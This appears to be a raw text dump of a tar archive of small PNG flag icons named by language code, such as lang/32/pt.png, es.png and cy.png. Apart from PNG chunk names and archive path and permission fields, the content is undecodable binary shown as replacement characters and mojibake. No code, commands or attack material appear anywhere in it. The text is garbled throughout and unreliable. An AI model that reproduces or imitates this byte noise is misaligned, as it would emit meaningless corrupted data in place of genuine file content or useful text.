^�;�p���	…�ڢ(����N���J�_>F�uc�2!�'H5ǣel���X4K�Չ���y�t��O�/�E�L�t��q}��YB��2�t�[��?Zu�Q݂��]G��wF�U�X�ژ̷���~d;�mr^�w/s@�y�8����h�&zr�*��cG�OQ�0`�@��pƷY���5<��O����}�c9Ō�xT{<|ᐬ��q�ƶq�����X;!�Z�H���
_;��xT�`5>o��W&�	�M�M���ʴ��*Hc�XEx��`ږ�o��M�z�H�fe�k���x4]�!⧋s��:M�m�[
m��8o��\H��1,���}q��9I�mx�0_�o�V�g�ŸjQ�*Ĺ���R*c\��q{��c��CD,XDD,XDD,XDĂEDĂEDĂED,XDD,XDD,XDĂEDĂEDĂED,XDD,XDD,XDĂEDĂEDĂED,XDD,XDĂEDĂEDĂED,XDD,XDD,XDĂEDĂEDĂED,XDD,XDD,XDĂEDĂEDĂED,XDD,XDD,XDĂEDĂEDTN��}��A�Q��Z���
x-ZY.��t�W�!z��+t�oK�� ���y�}o(����/Li��)���e֙n_����qt�,�x<i<���o�Q�)�{$nx���(e�n���?ǣ�����'aa�ڵ13h���
�h;S��o��m���qkn�^�������(�"��� <6 �������ބ�S�H�!z�e�:نr����!o��d�� �sj��!&��"ľ�\KKK�G�qf�.^�8��V?.����C�0}���J��B���y~TT��t]��3�Gv�mnT�1��.]~d�~Y�O&H�'�������8�G�v��Xe^i��'�Ǭ����ܿ=
��*�^Z���b�m�1<�A�#�,�5�2�G�1h����J�����q�7��7C���S� ���L�P�07�8�����;	W�88W*h3L�A��|��@a��H�cJ��|�r{�6�-򟊂�|9 启r��?�>����F#���i˔v�Q��>�YX������ =9��R�]��G�[�qNj}
���`��.��`FȘ�����_.oz��/��%�_>_]�?~�{s<**Xm��K�����[xI�KoA1��o�&m����ent��2�t^Y�`}oO�������u�F���nyv�F�/ܽ�Kz㞶'��o�=��[�b�;0t�.t�/ME�T��	�W.EKw���{c��^��x칐�q�xE��9�
���30p���(\R_�>���ޢ5L�W�ŽUS�vb'���a�:`��@�]��o r�k}*�W���,_52\�6��QQ�j�zڴ��|S��-�D[�o�~�����'H���!uzw���Z��
�ni��M�
�
�]�88�����8v��S��������c���
��Q�(���1�a�3��ܙ�W6�E�
b_��r<*�����&u������y�r+�j��DAa�;�G��G��=B�qp��.p��1(���m;"祎�֓�Ym;�.wꂜW�s<**X-[̀��p��qp�s���ΰm�usd��ro�j�\���
N�����:a���Q���9�h9���:���\��	N�"a�+R�K��.��
8���S�p8�*�aʪ#�׭WqO��~QQ���c�����c7��M�C�u�9��s�X�ďBӸh?M+1o�[�_]9��/C��5X�j>�6G":bV-���"��-H�|����a�ѱ���r�m�s<**X�֭Eai!���19���<a��n�6�V-���Tp�؉be��+
���{��h�z�k|�}.\�����zp~U���J�Ҽ",l�x�%^yu_�;מ���b�<v�_�F�n����/O8�?�G�a_:
c<�b��5h��&�����O�w`1"��@��ix{�[8un�K�+���dʴ`I���uj��`���/�oOw����+8A����M�4��(�ўxz���u.f8�~q#\L� 2��z��yG�j�12��1�xJl[Gܧ��4�ӭ��j�����h�f	��8y(D���h��
�*;�WX�WY��q�x������QQ���ɱn)^�8�W�}�}�`��4X=V��~��#陮{n������hp)�^)R�/���Q�3]o�$^=���7�C,Y�^�

�m]����d�ip���‚��(�V�D!i���y�r��m�������V�?�a��v_�����JW�&�R4K�A��M���fz�������vRc���qF*��ɼa�\g/�Y1��Q�x�]�|�g�(b�(�>J�&Uv��Qe
Y͍��d{��G��E��0�*ī�'��}�|���؀Tk<*����/�Gƍ�~&","","","b�""b�""b�"","","b�""b�""b�"","","","b�""b�""b�"","","","b�""b�""b�"","","","b�""b�""b�"","","","b�""b�""b������K��lIEND�B`�lang/32/pt.png000064400000002064151721413470007051 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��Mh\U���7y�$�ɧ�:Q�֢�TR����'�lWn�֝���*�Q�*~���q��A����V��/�f&3���{��y�yS�i$����c���s�����1�Y��P�
�I{�����~>�e���x��k����}�ш�RLO��<6?=���r���!�1�A�Ib�Z��)�_ɋ�n2Vͱ��n�g�D����E~f�7A������M�xq�g�X<o���0��xw�xΣ�����_��o�7ǁ8NM=ܥ�]��V�%(��z��m����vC�;��a ����g�K���k�9��N0�,XC��%�ņ�ȹ*�wb�Zvc$y��-�#_�mD��8����9�Z��?'Y���.ֆ����`�co�$G[z�*��DD�x�z	�Ba0�8�!!)�}s�r��X'/xl�p�T@���`oYw�zS�Q��������Kf�ͺϷ�L�t���:��_-,�x�&�1OUi,�),�O�l+��i���~Ƨ�X�9�q��m�D���Ϸ9�I��U�J���]��,C{�о
c��b�,�}���b���m���Q��{G�g�~;�(������l�h�D!�0J#��Q�T�B�2��<Ù�>��7��,��c�:��į]��j�$�2\�F:O�X�.��c�,V:Zf��i��B�/o��]�����۽4%�Y�H��t��1�'�������
��J4�*�nZX�����hI--���h��ko�����#��!��u�gw)��^�:W1t�ݥ�:
 �m��6��Y�!.]^Ͳ��/4-m�֭+�`
A�H
��i �~�٫z��\>[970�o�=�;���۵̃+�ھ���
�N�\�o?�䛠��iPWw?N������k*�NIEND�B`�lang/32/ta.png000064400000001275151721413470007035 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FCIDATx���kA���l������Rmmk�b�X��RD��o�?K�T��M�"��x?9k?*�k��1�ٝ��CbE��8�������3�~�;JD�:�]d�\��)4B���x��~�W*����	�C3~���%@!rX:A�* m֡��j�_���~jO��k!:��|�5�4�q��Ll�3�$u$�<L�X�4jHR��:��	Yq��k��b���s;E5��٫��{�����?yǑ�"g���*���w^p�$ߢ�J��Ź	����^�Q*v2Ayy��͈$��}�J�snf�����ט?;�d�h��M=J��S� j��&p)J���s��[NN��=1ąӣ̝�փ7LO��z�s:�u1?;ƕ�e���)�vs�����0���J���f���
���T�vKZ��f�a8~u�$��䬧nݻ2Y��Q�̄��0@�S�*��mk-��/�����Nh�A)��X�VP�#P��o��J)���z���
`D��f�U�Q�p�<�:��Zw�|����U�^N;
�}m�1@@�IEND�B`�lang/32/ps.png000064400000001736151721413470007055 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FdIDATx��ϋE�?��3����f��`\Tr��j�,���IA���x��"EP<{o���5	(^6��f�&���3���y��NO��>��%���z]�����JD�O��g�@>�)�i��诬�l�~���4Z����^)�y��{`��<���k:А��Gj}~�~`.:��4%C��K�PF�Ŭ�"(�����+�Rx�����
�	�s�qL�$���!��*�c���ȃ��&�c�8�_ĺ� m? ��c��F��v�g�W��¨��2��(�0���ȉ�/����A^"�7�8�(�fR�"��$��`Pˀ#�  x`n�����x����
0�(�U��#6٤�(�׀/z�-�s�$kW�6��5f�<I��g	O��(���A�q�8tYZk�i�V����C�sb�Co�@��$�/��%��E�����A[�o
h������W�$X<Bg�8�o���q�-��?��3�	AfZ�7�p8��u����H�_`���q����]v��k�07sp�54�`��Z[�ҵ���M$�PA�i�-h!I���$]��u��gɴ�d@Dp�US�~���S������/�Y:A���H~�D�~'G��,ƕDh�m@�f��q�^e���>���Nȭ��}�9b4Nj��#�A}}��`����.���{+_��s��
�&u��n2|߯e
�o2����RP(<���2H��������)���(�l�0)��{Y�C)5�:P)�+��@ᜌCp@�׫�`���΁Z)�Q�>��@�5�����ǀ�k[�/��'��4-"u��t��3d����
�IEND�B`�lang/32/sm.png000064400000001637151721413470007052 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F%IDATx��[�U�u�gƅ��Y4x�QT0�
(xA��� ~�
~_|T$��K}��:&�
A�ew����LO�K�ݻsɘu�e�%ECw����?U��:Ǧ��!�d@���SP��w�r+s2Q��N���d�N���s3�^x����s`щ�����P@L��S�,�y�K+�s��ݑ�X必�k�{�S�]�7�s����C��G1����*�2�?�ILʋ�.qmm�B�ޘ�ڛ�<��(@+��~��U<��q��o�g��.��7��ٓ����v�V�S{�
,r�����锜~�1�~��O���&�f�J{�ţ-V����hQL�,C�0��t{�^�|�/��-��^'&E�:�ƅoo�D��g`�r�
ARv:�~����|�f�beJ�p���s|u�*y#M�nwzI1�|0���~9���SRRTaa��g�۠�O:Lt!A�;u���҈�ұ�x}�$�_�ŝ
d�V��n���(5ǩ:>.e�4�!);����s��|��+����U��+���h��ҭ�uV[�s���tD��:|t��7��j����h5.��1�ۃ06�5��,-([zd@c�Qt1�dnzo�e�,
�@�
-F�	�z�~�`` :S��)F�)�0A�
3c��yC&�ob+v��h�Uf�N�|��{ �Z#��Y��v����T�5C�@�hh
��̓��ٺ�b@R`�l�C��c�ζ$�	�4�蜷����yJ	�ȃ��a�w���Edo-IEND�B`�lang/32/ms.png000064400000002023151721413470007040 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��OhU�?o���vw�I��IjC��,���Qi�PK{�P	UQԃX�ٳT,�E�Z�P���R���ص
m��l��fggwg��<�f�z�V���w��������ߟ'��l�l�� H�}/-|	�?��ge)��F �|��E�/7�8q<+�4���!`h�p�Ͽ^��	$�H��#*n�fl�e�,3旅-\*P^M����ͭ����#7KCR�QL��sE�{�,_~��_Lj"�F��d"dS"�W&J���J��ѝ�~ԅ�H�ԛ
K�8���N���-��M�i�u�e|�Ji%Maq�z#��L�}{��?� ����?m#��PLO@7���B��:q�B��*�=ǝ�*n�c�s,]�$I�Th����G�Tk�RY���\b4�����6\�����Aq�3�Q`g���� �|~���޹�4\�L���(�\��M�R*g�p%�J5�V�}�;
�$�:�р�|;��7x��<��'�_K3�!0�4G���=ۆ(�Ӝ/dYZ	���'aL�(�����c���7��>���?���f�j���,g24���hD@a��!"�@�p���#yP* 7q�W���`���O��Op�O�?*�� �ܬ�e2�0pfL
`���{y��Qa��A*F�w�St�y�B�R-��ګC��
I��gs��?&%@��qq���6Mx��Ry)eO{q�X�Պ���1���u���	�k�h/进�6�NO&Q��I���C��)t�4 �����-
<�˧��R�y�m�((�!�ά�[K�ּ�C�����-O;��z��#8NO)Е
�E���=!z
 ��"��{<�/�������{i>�۟Ӎ��|}�@��gIEND�B`�lang/32/sd.png000064400000001711151721413470007032 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FOIDATx��]hW���3�k6�lT6��ǿJ6�?(�HK[m-!T+h^A��c-��+ŇR,	�VBkm�P[hI��&B"�]��;��a'㮓�	�&/8�̞sf�{��s�
��)Y^@���B��:Ь�����{lW�S�0t��2H��c�����ҽ��*�G@BPʿ~����m*�K�-����К�Y�՗�2��
�d�f����Wf��+e(�X4��X���1��f��̹��|V���N���'�| N�h8�ɀQ
�H��C'�M�A6`_oࣾ��������&sU�D`9fx��4{����W�00x:`_�s�����!���Эk5v�%ۜO���HOW�}o�q�~x��T��r���|M{��߳��5��Ɠ*۞�(��=�Q�M�n�3݉���F���u8��Qr�<!�JUJQl��v��&lmiE1=J��VF*M%��i�g9����r�.武�^~�e^} �EI%S�Où�W�����>D��;�3�:��r��R��̥/��p�{֯�	�Mi���W���
�@������-�n~���e�z�g�b[��t���H��ֆ7���7t�u1���c�T���MӼ��f�w6V5S�@"�`��|����_����p���ϫb�h
����*�O�^(O�?���q`�~���L�!�xn�����
�t�q/�H�<6��P��0O`[��b&���΁B�Y�	�O=L6%��1�N��g$�|~��pr��i���@�H/�X��P�f8���@A��s���t��p5�IEND�B`�lang/32/mt.png000064400000001235151721413470007045 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F#IDATx���j�@�����+�@(I��4��{��Ч��zi)��bc'��ggr�#�v�J��/X$v�ٟۙFbf��<�l�4�`�ܥ9 nGfv��.�_�bq�Aͣg߿7�vy���p��T����O�f�7k�O~^����瓽wI@�w����i
�_:��t�E��u��G��A���憡��0���׈w�	�KD��eIi�q5�0U����1�Ns���?�E���s��]��c>�!A�:�I�MD����n �th]]�UL�d�0�8YxyY��-������F1,y����C�����*��yq��[�# �B��H��,��M",��ոi��v�p��IX�����9���U?��"���%q-�`3�
+9\-a���n��x��!@�0���_���P5��Y���|��\��Pu��Րѭ�"š��#�A�Y�\�j�[-���Ú)���*��`-��h�M&�>�s�p�>';n���5�a�9ݑ�X^N�
�8�2}���IEND�B`�lang/32/th.png000064400000001014151721413470007033 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���j1���8���R�C�.�<C豇@^/��[%���k��N��j���t�ߪ���H#ͧ�|�$fƘp����igK"���?]��p2����3����e���7��S4a!����,E6v(S��>�d<\;�s�j�
S@N�^CӔ9~Ӏ�S��l1�D����<�����u���U����7�ϯ7^M=M�D�}�V{;w��/�>l|�&��T3�U �\$�:�s�$�W�����wԳ�^RBS&�2�I�V5`�s�v�-�<Ƹ�����2�L6�0�\\�ۘ�H)�K`�ܝ�㤪��U�|����e�)vz![/f"��I�+�^HH��\����$����u����O0�lI`)����\��JIEND�B`�lang/32/yi.png000064400000001426151721413470007050 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�엿Oa�?��J�2�e����Eb��0��au2q�ſ@t11&0801�:���8�1�(H�U�C����}��#��.>�ݽ�������Zk)
���Ż�"��	Ĵ�ن|�m��@��@�ҭy.����qк��Р�C
Q1'�,�Ėޕ0Eu�6�x�q l(����,����\9� �ǚ}pvH�z
�U
���/��8����Z��Q���C*���X�A�s�:�p�-��K�"O*��V.��˓LeU�jr����_`��4EL�3߉����K��9ۥ-�޵�FM.0ket��:ڢt�F�=����W�`��7�:k2^�F�8�t1Í�^"!�H���X/��'"���]�6lGb��F4���]�#%PkS2��ʺ��P���Ž���E���[6��5�*�4K!ľ�5Ssi��.+_�I-m�Z��廯�=�Nv�aj.���0��+@�uݴi������m0�f��{Ƈ���9X*{�`�P��RU��&Fz�B�6^iӬ������s��>���L���cB��>���aױ�Y���J�q'Th�i���G܊�t�u	˲�ߒ�f5�0��²,_��b�8��>7��kQ<4�~Jȉ���F�9ک���CtIEND�B`�lang/32/pa.png000064400000001275151721413470007031 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FCIDATx���kA���l������Rmmk�b�X��RD��o�?K�T��M�"��x?9k?*�k��1�ٝ��CbE��8�������3�~�;JD�:�]d�\��)4B���x��~�W*����	�C3~���%@!rX:A�* m֡��j�_���~jO��k!:��|�5�4�q��Ll�3�$u$�<L�X�4jHR��:��	Yq��k��b���s;E5��٫��{�����?yǑ�"g���*���w^p�$ߢ�J��Ź	����^�Q*v2Ayy��͈$��}�J�snf�����ט?;�d�h��M=J��S� j��&p)J���s��[NN��=1ąӣ̝�փ7LO��z�s:�u1?;ƕ�e���)�vs�����0���J���f���
���T�vKZ��f�a8~u�$��䬧nݻ2Y��Q�̄��0@�S�*��mk-��/�����Nh�A)��X�VP�#P��o��J)���z���
`D��f�U�Q�p�<�:��Zw�|����U�^N;
�}m�1@@�IEND�B`�lang/32/sv.png000064400000001313151721413470007052 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FQIDATx�엿nA�sw�Pb������<�K
J�!Ez$��k@�; !$j��8vߟ���}{{m9�i2�y��9};���X̌���{��@o�ܥy�Ȁ�����M�������wg�wK�_>�f@?ap�"�
Z�Z���{�π�S�p��I�\�2K�B�z��q1�"�ϵ��=y�O����*y��K�\���o���t8_�g�7n
ϴ�|Ԧ-7�]c{iB�!�U��I4��WnO M�׆����d���Q�!0��׾E��1�7��<Ql�,�C5U�ӊi7����`׭W׹�������u�6W��ћ_�,����e:�p�sl(��ﯳ�E���a�bU�aVƕ��_��R\���7L"Н�!��!���g
�T~5����?9�S!:�O���:�#A�g�&�w����R�b�`f-e�*�	Hp���3h�k�6
	8�I�
Z�����eX"��+�{�'E�ȶ�l;��Y3J�7�ݙj�0���B@@5�u��"Q�-7�ݨ*7�ǔ�h
����u���x��������t8{��
`,N��w�4����IEND�B`�lang/32/it.png000064400000001202151721413470007033 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��On�P��q������
��ر`�MXq]r6��("iZ�}ofX�;)�Yɦ�����f~���9e$�8����y�P�J��_?��$�h�7���>
���l]x}��E
\$"\�������xv�voN���E
�ԍZ�U�o1bR���Y�X\Dh�=�8����э"֔F)���N;QV")��Rƚ2֣XY�'�M�6@t%%E��Q��ߧ	�[
�CA�q��
T�?�`JV�q$�~��M��x=��[�zY��j�*�H�s���)�"H�C@�LK���A퇔 �O5L&]d� ��3�W�����b�jBUTs�����*�)�Ls�]s�,����9����F�Ql`{����v�F|���bԮ�4�I�}Ack�mj?�	y�w�q\`��p��ͦ��9�Q	ҍ�a~�|���|>�����zu�w�r��\���I3�x\/�|,��Is'X4�cF������/�2Ke6>IEND�B`�lang/32/cy.png000064400000003337151721413470007045 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FeIDATx��_l��wfvf��޵�1l��@�h���Z5���j��P�HM�6Q�HmB�"��*Q�("��5��DQi��D$m�THn���`�ml썗�zwvfg�>�[1奂�itu�=���{���s��p=��:��`�T{-M��� �+���v��E\˲�X@�4ͫn:}�+��
�U@g�QJq�O�!:�����9�s����K3�<ם�p��`���d�Qq�j��4Q����l�����p_x����W��s]
�G�ZӲ��W<Ek�������h�#$��-+��� ;FjD���R��]{��ySA�؜�Փ��F�}��_?J̶k�Ӛ���޶��P)E�c1��?K��Yt��1��N�j��V0�J��OE���3����R�=ʞE�G��x%��!Brb�����Ќ$R)�?��
D��1�Y�/�
ã8��n��T(0�u;�����`
Th��m[Y��	����H�y�j�b�(�0����"�����p��d��ݹ��~&���[����c�&~�F.G`ljl��-hU��̂eK��a�۰d��d;��H�f�'�w��<�K.SϜl�0(��y��
�
P
�%mJQ-�����XJ��3�qb&�*[w��E�;%~�������Rl�&�����X��6�C�_y������*A�C>�c������e̲K}�B]�!��/�~f5N*�^�[~&C�ޏ�@�C�RTr�I�%w~�y�m��*�1-�_��܏% 1��a "XJ�Q�e��O?G߳�P�W���穼�V� �O�G���r�%�_}�j�̲׏��%N��w�½k���Q�0��
JQ�J"T��!�&$�^)D�B�T���F�0�X<�ec�n���4,�c�����&�O���8��.��r��~�6��u"X"�	I*�	���*a
dŠ`��[��&�����l@c�k�*�z��2L���L8�s��2>�)�U��:dR����P�?ҸZ�	�O���vzZ��(�5K�<v�:�����M۴p,s��:B�hJ&��ض����c���yp�F/b��(��_i޸1�#�������*Cߊf��h&>��P�I��l��cS�y/N1��8��h=���5B]�Y�7ѳ�	�;�w,"������4֡���M~�u��J��|��8Olhe`y�tM~���|��pGå< @N��ƴ"DPZ�4�H�?������a����yr��X3������Σ��C����hs����l������ʠ0
��j$�	���;�۝�n��
ܾ}u
��HYs�C��l�|�D��8�����4���c��on滇r|kK��z@@��2	#����H��pߡ+��\�{��o�����3E�21v���˷42ޒ�����ĭ���{��V7������""-�j��x2�NQ<��ؤO���XM(U����RER�V崪��i�~����}TU#v��J�┋%
�Yj�NDP(R�Z�p8�2v��.v��,cCb�(O��{@+`p0���9�z�O���|`R}�8���;MDL�ݦIEND�B`�lang/32/gl.png000064400000002315151721413470007027 0ustar00�PNG


IHDR  szz�tEXtSoftwareAdobe ImageReadyq�e<oIDATx��W]h[e~�s�4'ɒ�i��]�vu����d['�B�PA+^�8A&x�
^����6T]:������dmg�&5��O���s|��O��iRi{�������{��|_�,���a��]���ϝyBFC/�S]�15j"��ߌ�&�{���?Ѳ��]�?�pFTcFͶvɢ��Ң��l^Y_��ҟ1L�x�͊�a��i�f��X͊X%��j*��~��a“�0�*e"�H�:�a��/�XH�v,CRd�h�J2�����~��DD��i�±8N���t��j{T�l֙���o��W~����}p����A�,��.@�<�ݎ��-hm�P}5t:]�����X�
G�83�`"(d��������7,�e5��H��b�);�z}MU((��z���q����ۤ<��_�H�Ve��|‡v��:*���h����x�р~Y�?N��*�-\����ͮ��9`n�G&'�ja<w�)!A[���[�.x��F��	]�(LZ�#v4�x�����_��f���+U�N0j�<�{í��y�ryu�aե����3��N+κb����֣|U������hqaʍ���x�v	Dr�|�b�,^����XH��"P6"����Ht�'�������!�8ra�{-gp�{e��.�#��'pn�Ot��t��E�+��l
���'�D�e��\�
?�ɠ+'��
���D��n��?���Y& �bMN��Dڸ:۫"�k��^;$Y.�Г
*��\r�0z���<�9�5�\�ɄE/�a^���kgZ19-�V]m��J�LΩ�XLe**�)U��t'M�F�;���NIx��a\���5棫��\�V����'o
4��f���\.� �~���Ae'O׬Œ|��Ɲ��6�'H��F����hϖ4P�$��2f���3��hG�EG�.�]�@�(��L�F�.�j0�0��#��}
`t�Q˥TD�~��m0"��`��	��,gcL��<�\_��;z�3�Y�8+Sy�Q^Qd4ݶ�_7u��6\YL�)oщ
�PD� !�w�Z$̰�o�=��N��rز�?Nw����5c�I9�IEND�B`�lang/32/sq.png000064400000001757151721413470007061 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FuIDATx�엻�E�5�3s�����@�,#�!�p�I,������)�3�"�,�	�ۜwvvf�Q�{;��]8{�K*u�T]�U��=բ���$��� ��ѸL	@m��??��%'#Iؽ���6%:7�����O��5�n���mU��w�jz�|ֆ�v�����V#�U��R�ת��=:��`q����Y�S���E�� xbY��*A�߽���6��X��"-۹b
�������]�mS�����7�xu�{��ڔ��
��y;����@t��/��\Ã�����λ|��1�m��1?��Dx�ԇ��"�����G�j��
"�J��C�p���z�������,6�z��f1[�Z�LJ"!�U3M��+&�`�h<2_��q1x�j���8qx�w�vgm<Y�]<��C �<�I�>@�@�����z������_G$�k�r(GI��~~�]�L� ��eA��f��i��YQ�f�4瓵M�i
�s
Obwm>�4Ŭ�O�PC�g�n{���lW�嫪��ekd�-�rbШs.	 �(�	��D���q�E�a�n�b�M�aS����cv��P����9Q���6�im8��6�~YpXW\I�*Հ�j@�ʕ�pXW�/�m����k&���*�\51�+	u�Js��\3)�LJW�[iN��`��QU�o���`����������ʨ����e+�Gnn$'���$�;�Iδ@c+!D��6��w����FA30sU�_ِ�l�DN�>�	G�����dqT2Ux�{�ܦt��p�^r[~|/�7��h\��@O^<N����|"<�]l"IEND�B`�lang/32/is.png000064400000001354151721413470007042 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FrIDATx�엿n�@�k�q'�%	
 
�ABD"�"^DAC��4��)"�)�葠�	'qpw�y�����
I�S.�4�����f֟��p�q�v@1�_i0X~�r������|ʏ�/����'��Ϸsۛ�.i`%��7j�Z돦���Wٗ�����y2c���@r�|ܯJ�&~v#9��0�?���-Ln��;!3c\5l�O�1�;��3c���
�I3Kj��}�M�Scd�@��B�����$ÂtXT"�aZ��2����N�
�4��@�o�M(S��'��.���Q�5�Or�^G���OJɰ��O:c�X|8�PnZwDdg���7@��?��1��]
��pm���������F⸤k�IE�B�� n�K
��;!GG�כ��ַݹ1�Q�(����,���<���|9ߺ��	��[���9A_'�~)'������@�oM�q�NB�uL���\ZVQ�"��k�U���j�9WjB/����t�/� ޣ�@)�wA
��P�/����KK�:�Y΁	�~�oe@�ۥ��$U�[�?[3�p�\^�,�����=�.��Wg?��
����D�/2�MIEND�B`�lang/32/hr.png000064400000001726151721413470007043 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F\IDATx���oE�?�����I(�UѐGT��m8D��'��H=�?�Ρ�J\�z��
�qC�$P
�D���j�64���ݙ���M�e#Q��w��̛���Q"�q��1�+
��to�i�w���ǟ<S��Ϸ�{w�0�,�앥䛥ǝ�7��:nL9@Z�F��|Ge!�9l�MpbR�:�E5XBg,�7���I�����mh��ߏEl[��w��Գ'��:��d��������-����_��o2��ZK,#��8�H�C<oh��C6�y� �S����k�,�w7X��L���9Nζv�7E�Ρ$�X
	��5��ĴZ���֌ןR�)�����2&�G�7x-���A��K�_0�6&N؎��5���4`�����,�_"�U8I���c&�@��윘&_��eƙY�ODz ����N��$�m߼%�׮�k��7o%
'@�9J����5�V3R{��D�@�q��]���ȓ古�|�?_[���ּ���H�D��[�R��Xw�|�w���7V�΀���Jƀ����֘�7B%�u2
T�n�Œ��q��J�5�KkJVx2���iL�
���p:pySu�fN'��w�0��m��c��~�\h�Y��B��]ܷ�n�~��K�� 7ҍw��1[�@�5�cG�:�$d={�����ʷ�Y(,�_��.�ٳ`¡�]��`@�ێ
#���8|�Z�̅��j2)�ұB��Oh��h��	����N���o�E�����"5���jD���PL����@��P�P�}~]�V�)�=��
��zo���8J�z�8=n�T���)�^IEND�B`�lang/32/es.png000064400000001551151721413470007035 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���kUG�3gNN����CbE14R�v��.�hi���s�K�]���P��"���"�h!R���BD*��hrss��̼.ι�Ǐ�5r���0s�0�<�<��(a'C�ñ@u����O��a�������@Ծ���Ӆ��"�I��5@J��oK�K�6�d��ҿ�k��w=҄$��#���JV/��,9�,�w7��n5���4�됍��T�@�-10y˂n�t�4���@��+��=	Ȁ6�Y$Xk�l��F�IǞ��8�r�H��H�"Z?wA9�9��L\���nJ�,�H���/1S_�~�r�`�bdƱ��Ľ�]��0��q���޵�b��@zd9��1}�,��,�m188N�؏$�1�sW8yР�Mp�U��'���[(d�,��k<��S�.119E�w�]
�{�E��@	BP��i(������l
����
?�q�+$������`�?��HV���-��V)�3��Cl�sI��d�����?E�&�X��]���Llqr�i4̍�Y|TC"Mv�4��/=`X���,`��m0 x_b�{A�"�)�}���s���n���Ơa]���vmy3+��>�^i���O��bHEg��Ո��x�6�3�A�ӊ�;��λ�O&|���'A�	EPP%�
����$(�6���z�w�b�9�'��������xԋ��H���}��4����i�VY#IEND�B`�lang/32/af.png000064400000002510151721413470007010 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��klTE�3��.�}A��Q���
��EBRTH(�h��D��G|�h$�PK�р0�"_0
P�P(D*�>��ݽ;��a��.M���p��{g�3�9�?g�cwS$wY��R�;)��@�̷K[-�;~�V-�`R}3-U[�n�o�}/Q�?�򤴘1�$
����Gp��0e�6��qn�����g���@���8ʡ=ҁ1`4{~��s�Lf���Ȫ>L�T-�C��q�����mz��!��Il�'�4��8q'�3m�u�h���E��7��}��T������,���FI}��|]��������WZ��"�w�\�v� d^.��"#�-������/+�s�wQ����5�B�ܔ'���/4�$S��r����rA�[R!$���M
�o������eg�3<��g\.�(/'PZ���E�q��s����G_Z�p;���Z��aT�?4�QNO<tg;�������~�ȑD�Q�J����4T~�}<�8��gŢ
J��}s�љ�Lۂ���S�(�0aB}~~>�X�qc�޷�9��_
.5�KPx.Xvo0t�2�B���ĝ8�U?�I�)��0��Pw�﮲����;�t��B�J$�B�O�'m�롼D�����ىR��6
��jKvl�S<�|��i������e�PJ�D2X
$Q��&ɍ�F��Y>��2=�.���+�^�#{�E����.�R���F���z�c����h�Y���C6�;$ӗy��{�F��Q��M�<��CVP��G6��ڬ��݇�$�N[B,ΠP��\O��i�Ò0�ڡb�L�
��c\���‫�\,�|��k�Ŵ嚦�@�ɌeD�&SUQ���s�����(ҒEFFl��$ෑR�n�+e��v��̨�Ԭ�!�6�WU�Q>�Un�a��fʗ~E{G���e���DZ�T e��et*Q��WJ�l�=�%�&o"Z,NNn���D���,|a�O4��D���:�O�'Wk�Q �&K�!�`�cө\Yɩ���K>#����G�N�Ҧ��K� x�ռ6������_��

���d0� � '��J�qF?��+>fP��,^���-�5x�J�t:���<ɬ�3�P��w]es�F���6�3�U��0������7��䤞wR�Sܻ��m����o�ZIEND�B`�lang/32/hu.png000064400000000771151721413470007045 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx���.A���n&�ڐ�����,�^���3x'G� B<��D�Z��;d��a�҇I���_կ����2�@d͚2"P`�~o�Q|H�{a�t5}q��ݝ	�;�������+"����k�-�%�w���n��%@��K�|��FI�o�T�8�VE,��<
���ʪ%j]�/Ct�:�&��i��u���#:|�]�I�`�2)�l�qK�X����g.�E�g�ifw�����l��..%gvN�.pΡ����T��ǘ��q�iG��*c�:�xPI!Pik���Ղ���Y����$+@A5~�!!�j�L
�e��ڰ1c�<HmQ�u`XK�E��4o�^�����q�5��
ūξ	��IEND�B`�lang/32/et.png000064400000001012151721413470007026 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��A��@E_��D"!!�\a�Xq�7��pv�ذ��[��t�r�Y$=��g3^���*y�eW�`f�i+�@��4zZ�����m�E_?x�&T�+����&u)�h�x'���2^�n
a6�,���<���^G�|��PG�\�^2���<E�F/J/������ �B�g���U�T g���A�)<f�����}B����E��n��pxH)Ѷ-�����BJi	p<�� ��PUڶ��|lb�KN���f��i���J�>iB@D�
�����f������� ��s�v�u��u]����jd���.߬�4������ ��@a�߻LN�����E��SO�b=m��Ԝ�
�o5��:��IEND�B`�lang/32/kk.png000064400000002530151721413470007031 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��KoU�wf<��y4M�(�4��Z�@ ���/����`��;*6 �J��R�HҤ����홹/N�IZ��vӿ4�����=������,���sp�`s}����*�;�z}�oN���Ǖ�����Y������[�wS)�v�Ʈ���펹�6@�e,�#��X�Lf��M��v���a���O�����O�5@�cY����O�5���:��b"�!�Ja�k�F�L�|O��/5�y��V_�h��To���w9T^%�I�A�+,ͤD���v8�z\y�|��j3�9}"0=|�!Vu4��A�;�9����%f������,3�>��C$����\G�T�Ԃ��N�J��Q��y��R�b��{���e���凼?�3_�u���d5�Xb+�J=��z4{#te�2�]+����6U����
d�i`���"w#�0� �(����e L|�#%�b���z`�'�\oO�K5R����5A���P������!�}�l��H�����]�
